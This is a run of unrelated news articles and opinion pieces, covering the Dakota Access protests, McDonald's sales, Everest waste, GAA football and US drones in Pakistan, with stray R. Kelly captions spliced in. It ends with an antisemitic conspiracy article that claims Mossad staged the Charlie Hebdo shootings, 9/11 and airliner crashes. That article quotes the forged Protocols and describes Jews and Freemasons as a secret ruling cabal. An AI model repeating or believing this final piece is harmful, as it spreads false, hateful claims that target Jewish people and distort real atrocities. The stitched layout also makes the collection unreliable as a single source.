tribe. Authorities had set up a staging area about a mile away on a hill overlooking the site.  Dallas Goldtooth, a protest organizer with the Indigenous Environmental Network, said it is "an atrocious example that colonization has not ended for us here as indigenous people," and that the government's request will escalate already rocky tensions.  Representatives from the Army Corps of Engineers didn't immediately return multiple messages Friday or Saturday seeking comment and verification of the letter. Last month, the Corps said it would not evict the encampment, which started as overflow from smaller private and permitted protest sites nearby and began growing in August.  President Barack Obama raised the possibility of rerouting the pipeline in that area earlier this month, something Kelcy Warren, CEO of Texas-based pipeline developer Energy Transfer Partners, told The Associated Press is not an option from the company's standpoint. Obama said his administration is monitoring the "challenging situation" but would "let it play out for several more weeks."  R. Kelly Facing 10 Counts of Criminal Sexual Abuse  R. Kelly has been charged with 10 counts of criminal sexual abuse in Cook County, Illinois. (Published Friday, Feb. 22, 2019)  Some of the protests have resulted in violent confrontations — one woman suffered a serious arm injury last weekend — and more than 500 people have been arrested since August.  The Corps' letter, according to Archambault, said that those who stay on the land after Dec. 5 may be prosecuted, and that there'll be a free speech zone south of the river.  Archambault said Saturday that he doesn't believe the Corps will forcibly evict people from the camp, adding that the tribe is working to provide protesters protection from the elements on its reservation, which is south of the Cannonball River, but offered few details.  It's the federal government's job to peacefully close the camp because it allowed people to stay there in the first place, Gov. Jack Dalrymple said in a statement Saturday.  "Our state and local law enforcement agencies continue to do all they can to keep private property and public infrastructure free from unpermitted protest activities, and its past time that the federal government provides the law enforcement resources ... to enforce their own order to vacate," the Republican said.  That sentiment was echoed by Morton County Commission chairman Cody Schulz, who said county and state leaders have been seeking federal law enforcement help for months. "It's now time for the federal government to live up to its obligations" said Schulz.  Avenatti: Today Is a ‘Watershed Moment’ in Case Against R. Kelly  Attorney Michael Avenatti, who said he is representing several women and families in a sexual misconduct case against recording artist R. Kelly, said he recovered a videotape from the 1990s that appears to show Kelly engaged in various acts with underaged women and teens. (edited) (Published Friday, Feb. 22, 2019)  Republican U.S. Sen. John Hoeven and Democratic U.S. Sen. Heidi Heitkamp said the protesters need to move for public safety.  "The well-being and property of ranchers, farmers and everyone else living in the region should not be threatened by protesters who are willing to commit acts of violence," Hoeven said in a statement Friday. He also called on the Obama administration to let work on the pipeline move forward, saying, "this difficult situation has gone on too long and we need to get it resolved."  Heitkamp said the Corps' order is "a needed step to support the safety of residents, workers, protesters and law enforcement."  Copyright Associated Press
-Getty Images  The fact that Browns safety Jabrill Peppers failed a drug test at the Scouting Combine doesn’t justify rampant speculation regarding whether he takes drugs and/or which ones he may be taking. ESPN Cleveland personality Sabrina Parr learned that lesson earlier this week, by losing her position with the station.  Via Joey Morona of the Cleveland Plain Dealer, the local ESPN Radio affiliate fired Sabrina Parr after she offered this prediction about Peppers on the air: “He’s not going to make it because he’s on the Lean and the Molly.”  The “Lean” is a concoction of cough syrup and soda, also known as “Purple Drank,” among other names. Molly is Ecstasy. Both as illegal, and both are banned by the NFL’s substance-abuse policy.  A debate erupted after the allegation was made, with hosts Tony Rizzo and Aaron Goldhammer, with Parr eventually claiming that left tackle Joe Thomas is “on the Lean, too.” (She later claimed she was joking about Thomas.)  The dismissal of Parr came just hours after the comments were made. ESPN Cleveland is an official partner of the Browns.  Peppers provided a diluted sample at the Scouting Combine, which counts as a positive test. Post-draft comments from Browns executive V.P. of football operations Sashi Brown suggest that the team thinks it was something other than a fluke occurrence.  Even if it was, Peppers should at a minimum be very concerned about understanding exactly how much water he can drink before generating a dilute sample and, in turn, a positive test. Especially since he’ll be subject to enhanced testing while in Stage One of the NFL’s drug-testing program.
-No one’s lovin’ it.  Photo by Andrew Burton/Getty Images  Remember when McDonald’s rolled out “Pay With Lovin’,” a two-week promotion that asked customers to do tricks for their food in lieu of, well, paying for it? As cute as the company’s Super Bowl commercial may have made that idea look, it seems that most American customers didn’t feel the same way. McDonald’s U.S. comparable sales fell 4 percent in February.  To put it plainly: 4 percent is a lot. Over the past two years, McDonald’s has only seen its U.S. sales drop 4 percent or more in one other month—November 2014. Aside for “ongoing aggressive competitive activity,” the company also isn’t offering much in the way of excuses. Instead, McDonald’s seems to have put its tail between its legs. “Consumer needs and preferences have changed, and McDonald’s current performance reflects the urgent need to evolve with today’s consumers, reset strategic priorities and restore business momentum,” the company said in its release. “The goal going forward is to be a true destination of choice around the world and reassert McDonald’s as a modern, progressive burger company.”  Data from McDonald’s. Chart by Alison Griswold.  What McDonald’s stopped just short of saying is that it desperately needs to become more like the “modern, progressive” chains that are decimating its sales and market share. Chipotle. Five Guys. Shake Shack. Everything fast-casual and “better burger.” It’s no secret that Americans have fallen out of lovin’ with fast-food, and McDonald’s is acutely aware of this. What it doesn’t seem to know is how to fix it. Failing to find a solution cost Don Thompson the chief executive job earlier this year; as of March 1 the onus is on his successor, Steve Easterbrook. At this point, his best hope might be that sales don’t have much further to fall.  *Correction, March 11, 2015: The original headline of this post misstated that McDonald’s had admitted it needs to become more like Five Guys. In fact, McDonald’s did not specifically name a competitor it needed to become more similar to.
-Too much poo and wee is being left behind by climbers on Mount Everest.  The issue is causing pollution and could spread disease, says the boss of Nepal's mountaineering association.  Ang Tshering wants Nepal's government to get visitors to dispose of their waste properly.  He says faeces and urine have been "piling up" for years around the four camps. "Climbers usually dig holes in the snow for their toilet use and leave the human waste there."  More than 700 climbers and guides spend almost two months on the mountain slopes each season, which began this week and ends in May.  "It is a health hazard and the issue needs to be addressed," says Dawa Steven Sherpa, who has been working on clean-up expeditions since 2008.  Some climbers do carry disposable travel toilet bags to use in the higher camps, he explains.  At base camp there are toilet tents, which have drums into which human waste goes. These can be properly disposed of after they are carried to a lower area.  The camps between the base and the summit do have tents and other supplies, but no toilets.  The government in Nepal has yet to come up with a solution to the problem of human waste disposal - but officials will be monitoring the rubbish on the mountain, says the head of the government's mountaineering department Puspa Raj Katuwa  New rules mean each climber must bring 8kg (18lb) of rubbish when they return to base camp.  That is the amount experts believe a climber discards along the route.  Teams also make a $4,000 (£2,600) deposit, which they lose if they don't stick to the rules.  Last year's season was cancelled after 16 local guides were killed in an avalanche in April.  In total, hundreds of people have died trying to scale Mount Everest, which was first conquered by New Zealand climber Edmund Hillary and his Sherpa guide, Tenzing Norgay in 1953.  Follow @BBCNewsbeat on Twitter, BBCNewsbeat on Instagram and Radio1Newsbeat on YouTube
-Photo  They are the dreams of dead men: a hat comb stove pipe screw and a flower stand, quietly archived in the United States Patent and Trademark Office for the last century.  Until now.  Martin Galese, a 31-year-old lawyer in New York, is resurrecting bits and pieces of bygone eras, thing by thing.  Not unlike the fictional scientists of “Jurassic Park,” Mr. Galese scours the patent office’s archives for the “design DNA” of antique inventions, then reinterprets them as design files for today’s 3-D printers. He has posted more than a dozen of these forgotten inventions on his blog as well as the 3-D printing design library, Thingiverse, for anyone to make today.  “If you look at the figures in older patents, the 19th century patents are really beautiful. They’re really works of art,” said Mr. Galese who finds these early engravings much more beguiling than modern software schematics he has worked with as a patent lawyer.  One favorite is an 1875 pot scraper, with elegant lines and a humble utility that was trumpeted in the words of its inventor, who declared:  “To all whom it may concern: Be it known that I, URIAS CRAMER, of New Philadelphia, in the county of Tuscarawas and State of Ohio, have invented certain new and useful Improvements in Pot-Scrapers.”  The scraper’s patent application breathlessly described how it could scour both curved and straight-sided pots of nearly any radius, and was illustrated with several carefully hand-cut images, which Mr. Galese reproduced as a 3-D model:  But why go to all the trouble of reproducing the past in painstaking detail? Why rebuild every curve and vector wrought by Urias Cramer in cast iron in the 1870s?  “You’re holding the 19th century by way of something that was produced in the 21st century,” said Mr. Galese, who finds in these objects a tangible link to the past. He’s also made a chopstick holder from the 1960s and a portable chess set from the 1940s.  Today, he said, the patent system has a bad rap. Many people see it as a fount of endless intellectual property wars between tech firms, or fuel for thuggish, “patent trolls,” ready to exploit the system’s protections for cash.  After working as an attorney in patent litigation cases, Mr. Galese said he wishes more people saw the patent archives as a rich repository, flush with freely available designs. He sometimes refers to the patent office’s archives as the “original Thingiverse,” comparing it to the rapidly growing online library of design files shared by 3-D printing hobbyists today.  Others who have seen his 3-D printing files frequently ask why he keeps posting “patented” objects online, he said, not understanding that many former patents are now in the public domain.  “People don’t think people appreciate that aspect of the patent system,” he said.  Most patents issued today last 20 years, but in the past patent protections could be shorter, sometimes lasting 17 years, sometimes less. Out of the more than 8 million patents registered in the United States, only about 2 million are still in force, according to Dennis Crouch, a professor at the University of Missouri School of Law who conducted an analysis on the subject last year.  That leaves nearly 6 million patents in the public domain, free for anyone to reuse, remix or re-purpose.  While Mr. Galese has only produced a handful of these as 3-D designs, he is still looking in the patent office archives for simple, charming objects with some kind of link to the past, like the bookmark that not only holds your place, but holds a pen.  Still, he’s never sure how close he gets to an exact reproduction, and worries about the unconscious influence of our modern world, awash in design.  “There is so much more design in our world, so many more objects,” he said, chuckling at the comparison to the movie, “Jurassic Park,” in his work.  “There’s always this question: did they bring back what was actually a dinosaur or something they thought was a dinosaur?”
-“A Great science fiction detective story”  – Ian Watson, author of The Universal Machine  Days to Centenary: 170  Believe it or not there are still places on the Earth where there are no internet connections — such places certainly exist in the southern hemisphere, where I live — and over the holidays I was in just such a place, whichI hope explains the absence of new posts on any of my blogs for a little while.  Now that I’m back: Happy Alan Turing Year!  As I counted down to midnight on December 31, 2011 surrounded by family and friends, my thoughts were mostly with the people around me (and others who couldn’t be there), which is as it should be. But I was certainly aware, as well, that the Turing year was about to begin… was about to begin… and then suddenly had begun.  For many people this will be a culminating moment. I imagine it must be such a moment for Andrew Hodges, who many years ago painstakingly pieced together a myriad of fragments from the life of a man who was too much forgotten and pieced them together into a biography that helped revive him in our collective memory.  It was Hodges’ book that first exposed me to Turing in the 1980s. I recently bought my fourth — or is it fifth? — copy of Alan Turing: The Enigma, because I can’t resist giving the book away when I meet someone whom I think might enjoy it or benefit from it. Then, after a time of not having it on my shelf, I’m suddenly afflicted with the need to read it again and have to go out and buy another copy and each time I return to it I learn something new. For that iterative, cumulative experience, thank you Dr. Hodges, and Happy Alan Turing Year.  And along with him, a very big thank you and Happy Alan Turing Year to the many good people (in part represented here) — most of whom will never have the profile that Dr. Hodges does — who have worked so hard to ensure that the Alan Turing Year happened at all, and who continue to work to ensure that the myriad of events that make up the celebration all over the world actually take place. You guys are awesome.  And on the topic of people who make the Alan Turing Year happen, having acknowledged all the official folks, let’s not forget the Turing Elves, those unofficial individuals who — through works of art and DIY technical projects and a myriad of other endeavors that are as disparate and entertaining as the Elves themselves — help make every year Alan Turing Year.  And just as it’s a culminating moment for Dr. Hodges, for the official ATY folks, and for the Elves, I can only imagine that it must also be such a moment for Turing’s surviving family members, who only learned many years after the event of Turing’s important role in the war, who finally saw him receive the apology he deserved from the government that persecuted him, and who may now at long last see him pardoned (see this post), which is the most complete vindication that the law can extend to him at this late date. This is the year the family Turing (whether they bear the name or not) get to finally enjoy the honour that should have been his and theirs a long, long time ago.  It will also be a culminating moment for the members of an LGBT community that is by now so multi-generational, international, and diverse that it can hardly be called one community at all. It is a constellation of communities that has, since the beginning of the gay liberation movement in the late 1960s, evolved to have a strength and a public profile that once would have been unthinkable.  Even now it remains a reality for gays, lesbians, bisexuals, the transgendered, and the queer, that each person’s personhood — their character, their intrinsic nature, their contribution to the world, their strengths and flaws, their very self — is too often overshadowed by the simple fact of their sexual orientation. It’s maddening to be reduced in that way and this recognition of Turing helps to minimize that kind of reduction. We’re not where we need to be yet, but when a man of Turing’s stature has gone as long as he has with as little recognition as he’s had almost exclusively because of his sexual orientation, international recognition of the kind that the Alan Turing Year provides is certainly a move in the right direction.  And this should also be a culminating moment for any number of others who are ignored or dehumanized or belittled on account of factors that ought to have no bearing on one’s view of them or on their ability to participate fully in social and professional life, whether that factor is their race, their gender, their religion, a physical or psychological idiosyncrasy or affliction, or anything else which might impair us in our ability to see them as whole and invididual people while it does nothing at all to diminish them. The diminishment of any one of us diminishes us all and the long overdue recognition of Turing enriches us all.  Which means that — while we must never allow ourselves to be distracted from Turing himself, his work, and the honours that he’s earned — this is nonetheless an Alan Turing Year for everyone.  So, Happy Alan Turing Year to you.  [Note: The image in this post was borrowed from here.]  Advertisements
-Bitcoin Press Release: The blockchain application platform Lisk now has its digital currency LSK listed on various exchanges and financial services like ShapeShift, Yuanbao, or CoinPayments. Adoption is steadily growing through payment processors and online merchants.  June 30, 2016 Aachen, Germany – Lisk, the open source blockchain application platform, is proud to announce that the digital currency LSK is evolving at a tremendous speed. A large part of this evolution is mass adoption by many services, including conversion services and exchanges.  One of the services now accepting LSK, ShapeShift.io, allows the exchange of one digital currency into another, without the need to create an account or fill an open order. Other providers offering a similar service for the LSK currency include Changer.com and Changelly.com.  In terms of regular exchanges, Lisk has seen steadily increasing adoption throughout the past few weeks. Recently, CEO Max Kordek visited China and met with many Chinese exchanges. This face to face relationship drove these exchange owners to believe in the currency and adopted Lisk for trade on their service. These services included Yuanbao.com and Jubi.com, two of the biggest altcoin exchanges in China. Additionally, BitBays.com, and Touzibi.com also listed the currency.  The Polish exchange BitBay.net has added many different currency pairs for LSK. These pairs included LSK/USD, LSK/BTC and LSK/EUR. The new exchange RAWX.io will launch soon and Lisk sits at the top of the poll to determine which coins will be added.  Looking further back many different exchanges are already supporting the LSK token. These exchanges include Poloniex.com, Bittrex.com, YoBit.net, BitMEX.com, Livecoin.net, OpenLedger.io, Cryptomic.com, Bloombit.com, and ChameleonBit.trade. On the leading edge of this group is Poloniex, one the largest exchanges in the world, which added a LSK/ETH. This pairing is unprecedented on the exchange as previous pairs were pegged to BTC and USDT.  Lastly, Lisk can now be used in online transactions. This is due to the payment processor and gateway CoinPayments.net adding support for the currency. The service provides digital currency integration for nearly all popular web shopping carts used today. This allows Lisk to be used with a myriad of online shops, all of which are ready to accept LSK.  Please use all exchanges, websites, services, tools, and clients being linked to in this press release at your own risk! Please do your own due diligence.  About Lisk  Lisk is a blockchain application platform that offers JavaScript development tools to deploy sidechains and build decentralized applications on top of them. It connects various different decentralized technologies to enable developers to build useful, powerful applications for the real world. Lisk was started earlier this year by Max Kordek and Oliver Beddows.  Learn more about Lisk at – https://lisk.io  Get started with Lisk at – https://lisk.io/get_started  Lisk Documentation is available at – https://lisk.io/documentation?i=lisk-docs/README  Media contact  Name: Max Kordek  Email: [email protected]  City and Country Location: Aachen, Germany  Lisk is the source of this content. Virtual currency is not legal tender, is not backed by the government, and accounts and value balances are not subject to FDIC and other consumer protections. This press release is for informational purposes only.  About Bitcoin PR Buzz:  Bitcoin PR Buzz has been proudly serving the PR and marketing needs of Bitcoin and digital currency tech start-ups for over 2 years. Get your own professional Bitcoin and digital currency Press Release. Click here for more information.
-That was a mighty win in Lille the other night for our boys in green and I wonder did anything strike you about the players' celebrations after?  That was a mighty win in Lille the other night for our boys in green and I wonder did anything strike you about the players' celebrations after?  Like how, four days before a monumental game against France, management allowed them have a few beers. And here's the thing. Nobody took umbrage. Nobody was phoning Joe Duffy or grilling Martin O'Neill at a press conference about what in the name of the Almighty they were doing supping drink so close to the biggest game of their lives.  And Hallelujah for that.  Trust me, they'll be more than fine by the time Paul Pogba and company stand before them in Lyon tomorrow and anyone who thinks otherwise has probably learnt everything they know about sport from a library book.  Diarmuid Connolly sees his penalty is saved by Laois goal keeper Graham Brody. Photo: Sportsfile  But just imagine the same thing happening with a GAA team. Imagine Jonny Cooper or Diarmuid Connolly being photographed supping bottles in Coppers last Wednesday with the Meath game just four days away? There'd be consternation. Not alone would they not be playing tomorrow, chances are they'd be gone off the Dublin panel for a whole summer.  Now I'm not for a second recommending lads going on the beer in the week of a championship game, but I do believe there's a red light flashing for the GAA that they'd be wise not to ignore. And that light is drawing attention to the number of young players, particularly in the weaker counties, now opting against committing to inter-county.  In Kerry, I always felt that the social side was vital to us being successful, vital to a sense of camaraderie. It was a release valve that, ultimately, made us more united. We always worked damn hard, but we played harder than anybody else too, though few enough people probably knew it.  In Jack O'Connor's first stint, we went for one training weekend in Cork, staying in Hayfield Manor. The restaurant wasn't quite big enough to take our full party for dinner, so there was a kind of partition separating some of us from the rest. Next thing, Jack pipes up, 'Lads, ye can have a glass of wine with the dinner!'  And we're looking at one another, thinking that there's surely a hidden camera somewhere. That he's maybe trying to set us up here. We'd presumed it would be a strictly-no-alcohol weekend but now, weren't we sitting on the far side of the partition to Jack, with an invitation to drink.  We identified the youngest, most innocent waiter and - basically - got him to open the wine taps. Had the poor chap so flat to the mats ferrying bottles to the table, he almost didn't have time to bring out food. And you know that thing about it only taking one spark to start an inferno? I'd say we were in a pub in Patrick or Washington Street before Jack had even got up from the table.  Lord Jesus, we paid for it too. Jack ran us into the ground the next day, deciding there and then that he couldn't trust us to turn sideways. It was the beginning and the end of the Kerry wine list!  Jack made things a lot more disciplined in Kerry, introducing us to Pat Flanagan, a strength and conditioning wizard who was well ahead of his time.  And, after a while, he started having us back in training the Monday after a championship game, purely to keep us on the straight and narrow. But the game was still enjoyable. I honestly wonder if it is today.  Now don't get me wrong. I'm not trying to depict the county man's life today as life in a prison camp. I know there's great banter in most dressing-rooms, successful or not. But everything now is analysis, core-work, strength and conditioning, personal programmes, monitoring your diet. The game eats into every aspect of a player's life, taking up more and more of his time.  And, in my opinion, we're treading very dangerously here.  In the last ten years, we've seen bigger changes in the game than we've seen in the previous hundred. The younger generation are willingly pushing the boundaries out further and further.  The balance has been lost in my opinion and God forbid you buck the trend. Put it this way, I've had an insight into three generations of Kerry football and there's no doubt in my mind that the most enjoyable one was Páidí's. National League? They'd be wheeled out at venues around the country like some exotic creatures being presented for a photo opportunity.  If it was any distance out of Kerry (and most places are) they'd head up the night before, sink a few pints, then do their thing on the Sunday. Now, the same bottom line applied. On the field, you were expected to perform.  Kerry manager Paidi Ó Sé has a word with nephew Tomas Ó Sé, centre, and full-back Seamus Moynihan during the 2002 All-Ireland semi-final.  When Páidí took over as manager in 1997, we trained awful hard, but it was only three nights a week. No weights programme, no personal programmes, no stretching sessions, no core work. Your total workload was carried out in those three sessions, maybe Tuesday, Thursday and Saturday. Páidí was a good reader of things, knew when to give lads rope and when not to. His attitude was - basically - train hard, play hard.  Pressure on time was probably the reason I walked away from county in the end. When I started out, September to February was basically down time. And that time was vital to me. I'm not sure the modern player knows fully how to switch off. The most physical thing I'd do in that period of down time would be a game of five-a-side.  Otherwise, I'd eat loosely, drink loosely, put on the few pounds. But I'd come back mad for road even though those first two months back training would be torture. Now if a fella goes for a pint over Christmas, he'll most likely be in the gym the following day. Probably won't even eat the turkey. It's gone too far.  It strikes me that the game lacks coaches with sufficient confidence to make that call. To say to fellas, 'Lads, leave your hair down over Christmas'. You have this epidemic of guilt running through the GAA. Remember, most fellas have pressure of work too, so something has to suffer. Work or training.  When that happens, you're not right mentally. How could you be? My own view is that a lot of young players are left half-depressed by the unnatural demands being placed on them now. And the art of talking is going out of things. You see fellas on their way to games now with the big earphones on, shutting themselves away from the outside world. The concept of a bonding weekend is to take a group away for military exercises rather than just sitting down and getting to know one another. Everybody's in a terrible rush.  And my worry is that this is only going to get worse. We're certainly not seeing all the best footballers in the country out on the field today because the game is burning a lot of young lads away, especially in the weaker counties. It means the gap is getting bigger and bigger. Everyone's trying to set the same standards when it's probably just not feasible.  Dublin manager Jim Gavin Photo: Sportsfile  Like I don't doubt the likes of Jim Gavin and Eamonn Fitzmaurice make sure their players get enough down time to keep the experience enjoyable. My worry is for the 20 counties trying in vain to get up to that level. There's simply got to be a two-tier championship in my opinion.  I think it's still possible to allow players have some kind of social life without falling foul of the modern ethos. But it takes a confident manager to facilitate that. Not one who apes what's going on elsewhere. I heard a story last week that one inter-county team is doing two weights-sessions a day and a ten-kilometre run every second day.  That's madness. You wouldn't be able to lift feathers after that.  I also sense strength and conditioning coaches becoming more and more influential, despite many of them having no GAA background at all. It's in their nature to drive players as hard as they're allowed. So our balance is completely wrong here, every coach just driving his own agenda, be that club, Sigerson or county.  Listen, I like the professional side of the game. I just fear a lot of current county players will look back on their careers in ten years time and be going 'What the f**k was that about?'  When I came in, there were some great characters in the Kerry dressing-room, the Eamon Breens, the Liam Flahertys, my own brother Darragh. There was so much fun, the sweat would be coming out of me in buckets just from laughing so much on the way to a game.  But by the time I finished with Kerry, I had kids, I was traveling from Cork, we had core sessions, personalised weights sessions, three or four field sessions. Everything took longer. Training, meetings, video analysis, study of the opposition. I might leave home at 3.30pm and get back at 11.30pm. The same enjoyment wasn't there.  Now I still loved it, nobody was putting a gun to my head. To be quite honest, I even kind of regret that I didn't go back for one more year. But I just sensed my time getting more and more squeezed.  I read recently that as many as 50 footballers in Galway got J1 passes this year and I'm sure they did so imagining Galway had no chance of beating Mayo last weekend.  In my view there's no more than seven football counties right now who don't have to worry about this problem.  And that's something the GAA is going to have to get its head around sooner rather than later. There's a talent drain that needs to be fixed and the way to do that is through loosening the chains, not tightening them.  By the way, best of luck to the boys in green tomorrow.  Irish Independent
-Pakistan has sharply criticised the United States for a missile attack on Wednesday in which six people were reported killed near the Afghan border.  "Drone attacks have become a core irritant in the counter-terror campaign," the foreign office said.  It was the first such raid in a month and came after Pakistan's spy chief met his US counterpart to discuss a deep rift over CIA activities in Pakistan.  There was huge anger after a drone raid killed dozens of civilians on 17 March.  That attack in North Waziristan drew rare condemnation from Pakistan's powerful military chief.  Although several militants were reported killed, the vast majority of the dead were civilians attending a tribal meeting.  'Counter-productive'  Pakistani officials are quoted saying a number of militants were killed in Wednesday's attack in the Angoor Adda area of South Waziristan, a militant stronghold.  The media are barred from Pakistan's tribal areas and it is impossible to verify the claims independently.  But the timing of the attack prompted the Pakistani foreign office to protest to the US ambassador.  "We have repeatedly said that such attacks are counter-productive and only contribute to strengthen the hands of the terrorists," it said in a statement.  "Pakistan has taken up the matter with the US at all levels."  Reports this week said Pakistan was demanding a cut in the number of CIA personnel in Pakistan.  Image caption Anti-US feeling across Pakistan has escalated in recent months  US-Pakistani relations are still recovering after CIA contractor Raymond Davis shot dead two men in Lahore earlier this year.  Mr Davis was held on murder charges for weeks and only freed after relatives of the men he shot dead pardoned him in court. He maintained the men had been trying to rob him.  The case stoked anti-American feeling across Pakistan and led to angry demonstrations - particularly when it emerged that he worked for the CIA.  Drone attacks are hugely unpopular with the Pakistani public. Correspondents say they have the tacit approval of the authorities, but Pakistani leaders deny secretly supporting the strikes.  Many militants, some of them senior, have been killed in the raids. Hundreds of civilians have also died.  The US does not routinely confirm it is conducting drone operations in Pakistan, but analysts say only American forces have the capacity to deploy such aircraft in the region.
-President Trump has floated the possibility of replacing Attorney General Jeff Sessions Jefferson (Jeff) Beauregard SessionsTrump says he hasn't spoken to Barr about Mueller report Ex-Trump aide: Can’t imagine Mueller not giving House a ‘roadmap’ to impeachment Rosenstein: My time at DOJ is 'coming to an end' MORE with former New York City Mayor Rudy Giuliani (R), Axios reported Monday.  Trump broached the idea in internal discussions about bringing his staunch ally into the folds of his administration, sources within the West Wing told the news outlet.  Before an interview last week with The New York Times, Trump had already expressed anger and frustration at Sessions for recusing himself from the Justice Department's investigation into Russian meddling in the presidential election, Axios reports.  Trump, during the interview, opined that Sessions's decision to recuse himself was "unfair" to him and that he would've likely picked another person to lead the Justice Department if he had known Sessions would recuse himself.  ADVERTISEMENT  Axios reports that Trump regularly considers personnel switch-ups, but doesn’t always act. Pondering about bringing in Giuliani may fall under this umbrella.  The report, however, comes after Trump tapped Anthony Scaramucci to serve as the White House communications director on Friday, leading Sean Spicer to resign as White House press secretary.
-(left, Mossad cutout conveniently leaves his calling card)  With France taking measures decisively sympathetic to Islam,  why would Muslim zealots suddenly choose THIS MOMENT to  murder a dozen French citizens, an act that would  certainly turn French public opinion against Muslims and in  favor of Israel?  (Latest- Even BBC admits attack may have been fake)  ---------- Jewish Insider Reveals How Mossad Staged It  " Wake up, my fellow Christians. You are under insidious attack by the Illuminati: a secret oligarchy of Jews and Freemasons. Don't be deceived by the media which they own."  "IT IS FROM US THAT THE ALL-ENGULFING TERROR PROCEEDS. WE HAVE IN OUR SERVICE PERSONS OF ALL OPINIONS, OF ALL DOCTRINES,... MONARCHISTS, DEMAGOGUES, SOCIALISTS, COMMUNISTS, AND UTOPIAN DREAMERS OF EVERY KIND. We have harnessed them all to the task: EACH ONE OF THEM ON HIS OWN ACCOUNT IS BORING AWAY AT THE LAST REMNANTS OF AUTHORITY, IS STRIVING TO OVERTHROW ALL ESTABLISHED FORM OF ORDER. By these acts all States are in torture; they exhort to tranquility, are ready to sacrifice everything for peace: BUT WE WILL NOT GIVE THEM PEACE UNTIL THEY OPENLY ACKNOWLEDGE OUR INTERNATIONAL SUPER-GOVERNMENT, AND WITH SUBMISSIVENESS." Protocol 9. Vs. 4. (Circa 1897.)  by James Perloff  (henrymakow.com)  It seems like they're spinning out PSYOPS these days faster than the writers of plots for a daily soap opera. Ottawa and Sydney are already old news.  The three latest headlines have probably been: the Charlie Hebdo shootings in France, the downed AirAsia plane, and "North Korea hacks Sony."  While no conclusive explanations have yet been reached, these three seemingly distinct events all have something in common: running afoul of Israel.  On December 2nd, the France Parliament passed a resolution asking that France recognize a Palestinian state. And just a week ago, Israel informed France that it was "deeply disappointed" with France's vote on a UN resolution that would have required Israeli forces to withdraw to their pre-1967 borders by 2017.  (Left. Teaching everyone to identify as Jews)  With France taking measures decisively sympathetic to Islam, why would Muslim zealots suddenly choose THIS MOMENT to murder a dozen French citizens, an act that would turn French public opinion against Muslims and in favor of Israel? We are told the motive for the atrocity was publication of cartoons satirizing Islam and Muhammad. What Muslim would consider cartoons more important than Palestinian rights, which Muslims have spent decades earnestly striving and bleeding for?  Clearly, the beneficiary of the Charlie Hebdo incident is neither France nor Islam, but Israel.  9-11  This was equally true of 9/11. Though allegedly carried out by Middle Eastern Muslims, they did not benefit - the U.S. has been making war on them ever since, and the Middle East has descended into chaos. Americans did not benefit - they have suffered the casualties and enormous costs of multiple wars, to say nothing of a growing police state at home. 9/11's SOLE BENEFICIARY is Israel - her enemies neutralized one by one, courtesy America.  We will not repeat here the widely discussed Israeli connections to 9/11. However, let's at least quote Francesco Cossiga, former President and Prime Minister of Italy: "All of the democratic areas of America and of Europe . . . now know full well that the disastrous attack [9/11] was planned and executed by the American CIA and Mossad with the help of the Zionist world, to falsely incriminate Arabic countries and to persuade the Western Powers to intervene in Iraq and Afghanistan."  The Charlie Hebdo shootings show some of the same "MO" as 9/11. A key 9/11 clue was alleged hijacker Satam al-Saqami's visa, found intact and unburned near the World Trade Center. Supposedly it somehow survived the explosion unscathed and made it to the ground. Then, of course, there were the Koran and flight training manual found in a car at Boston's Logan Airport. And the terrorists who visited a Daytona Beach strip club the night before the attacks, and bragged that America was about to see "bloodshed," conveniently leaving behind a Koran, a business card and other forms of ID.  Likewise, in the recent Paris shootings, police have identified the alleged perpetrators by means of an ID card which one of them CONVENIENTLY left in the getaway car.  Analysts have pointed out that the attack was carried out with military precision and skill. If you watch the footage of the getaway (shot by Amchai Stein, deputy editor of Israel's IBA Channel 1, who "just happened" to be on the scene), the perps wore hoods over their faces: they clearly did not want their identities known. Why, then, after all this precision, did they carelessly leave identification in the car? Could it be that the masked shooters were NOT the same men whom the ID card has sent the police chasing after? (Perhaps the Mossad believes all French detectives are Inspector Clouseaus, but more likely they rely on compliant Freemasons within Law Enforcement who will obey their Masonic oaths of absolute obedience and secrecy in exchange for promotions and other material rewards.)  A detailed, ongoing debunking of the Charlie Hebdo shootings may be found at: http://www.jimstonefreelance.com/.  AIR ASIA CRASH  Next, AirAsia. In a single year, 2014, Malaysia lost three airliners: MH370, MH17, and AirAsia 8501. All three were lost under very controversial circumstances.  Malaysia is also one of just four countries in the Far East that doesn't recognize Israel. More significantly, in late 2013, the Kuala Lumpur War Crimes Commission, chaired by Mahathir Mohamad (Malaysia's former prime minister), declared Israel guilty of war crimes and atrocities.  The other three Far Eastern countries that don't recognize Israel? Well, there's Indonesia, and Brunei (a small country on the island of Borneo, which is otherwise divided between Malaysia and Indonesia). 155 of Air Asia 8501's passengers were Indonesians.  Are France and Malaysia the victims of sophisticated Israeli vengeance? If such an idea seems farfetched, is it no more absurd than the government/MSM claim that MH370 simply "disappeared." If such brutality by Israel seems unthinkable, remember its slaughter of Gaza's civilians only last summer.  NORTH KOREA  And the fourth country of the Far East that doesn't recognize Israel? It's North Korea, who is now being punished with economic sanctions after its crackerjack team of computer geeks ran circles around the hayseeds in charge of Sony's security. And why shouldn't we believe the claims of government and mainstream media about that? After all, if Muslims will commit mass murder over a cartoon, wouldn't North Koreans hack us over a movie?  Wake up, my fellow Christians. You are under insidious attack by the Illuminati: a secret oligarchy of Jews and Freemasons. Don't be deceived by the media which they own. The political Israel of today is not the Israel of the Bible. It is a Luciferian counterfeit, engineered by the same Rothschild bankster cabal that has financed communism and world government. Ultimately, they want their beast to rule his totalitarian world from a throne in Jerusalem, pretending to be God (2 Thessalonians 2:3-4).  --------------------------
